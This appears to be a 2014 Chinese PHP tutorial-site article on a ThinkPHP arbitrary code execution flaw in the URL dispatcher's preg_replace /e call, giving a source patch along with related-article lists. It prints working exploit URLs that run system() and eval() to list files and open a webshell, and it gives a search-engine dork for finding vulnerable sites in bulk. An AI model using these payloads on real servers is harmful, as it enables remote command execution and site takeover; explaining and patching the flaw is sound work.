ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
Get或Post提交值的非法数据处理
Oct 09 PHP
php 处理上百万条的数据库如何提高处理查询速度
Feb 08 PHP
php引用计数器进行垃圾收集机制介绍
Sep 19 PHP
PHP 基于Yii框架中使用smarty模板的方法详解
Jun 13 PHP
php MessagePack介绍
Oct 06 PHP
php利用cookie实现自动登录的方法
Dec 10 PHP
PHP开发框架laravel安装与配置教程
Mar 13 PHP
PHP的文件操作与算法实现的面试题示例
Aug 10 PHP
CI配置多数据库访问的方法
Mar 28 PHP
基于PHP实现商品成交时发送短信功能
May 11 PHP
Yii2实现上下联动下拉框功能的方法
Aug 10 PHP
php curl简单采集图片生成base64编码(并附curl函数参数说明)
Feb 15 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
PHP SESSION的增加、删除、修改、查看操作
2015/03/20 PHP
CodeIgniter配置之SESSION用法实例分析
2016/01/19 PHP
php集成动态口令认证
2016/07/21 PHP
Javascript字符串对象的常用方法简明版
2014/06/26 Javascript
JS判断变量是否为空判断是否null
2014/07/25 Javascript
jquery购物车结算功能实现方法
2020/10/29 Javascript
浅析JS抽象工厂模式
2017/12/14 Javascript
vue实现微信分享朋友圈,发送朋友的示例讲解
2018/02/10 Javascript
Angular通过指令动态添加组件问题
2018/07/09 Javascript
JavaScript设计模式之模板方法模式原理与用法示例
2018/08/07 Javascript
如何在基于vue-cli的项目自定义打包环境
2018/11/10 Javascript
JavaScript实现的滚动公告特效【基于jQuery】
2019/07/10 jQuery
node.js实现带进度条的多文件上传
2020/03/27 Javascript
layui表格内放置图片,并点击放大的实例
2019/09/10 Javascript
jstree中的checkbox默认选中和隐藏示例代码
2019/12/29 Javascript
三步搞定:Vue.js调用Android原生操作
2020/09/07 Javascript
JavaScript手写数组的常用函数总结
2020/11/22 Javascript
[02:57]DOTA2亚洲邀请赛小组赛第四日 赛事回顾
2015/02/02 DOTA
python使用scrapy解析js示例
2014/01/23 Python
Python调用C语言开发的共享库方法实例
2015/03/18 Python
Python简单进程锁代码实例
2015/04/27 Python
Python socket网络编程TCP/IP服务器与客户端通信
2017/01/05 Python
Python3.6简单操作Mysql数据库
2017/09/12 Python
python实现多线程网页下载器
2018/04/15 Python
tensorflow: variable的值与variable.read_value()的值区别详解
2018/07/30 Python
python plt可视化——打印特殊符号和制作图例代码
2020/04/17 Python
2014年第四季度入党积极分子思想汇报(十八届四中全会)
2014/11/03 职场文书
高中班主任评语
2014/12/30 职场文书
给老师的一封感谢信
2015/01/20 职场文书
英文辞职信范文
2015/05/13 职场文书
电工生产实习心得体会
2016/01/22 职场文书
2019毕业典礼主持词!
2019/07/05 职场文书
使用vue-element-admin框架从后端动态获取菜单功能的实现
2021/04/29 Vue.js
js Proxy的原理详解
2021/05/25 Javascript
Vue OpenLayer测距功能的实现
2022/04/20 Vue.js
Redis基本数据类型Zset有序集合常用操作
2022/06/01 Redis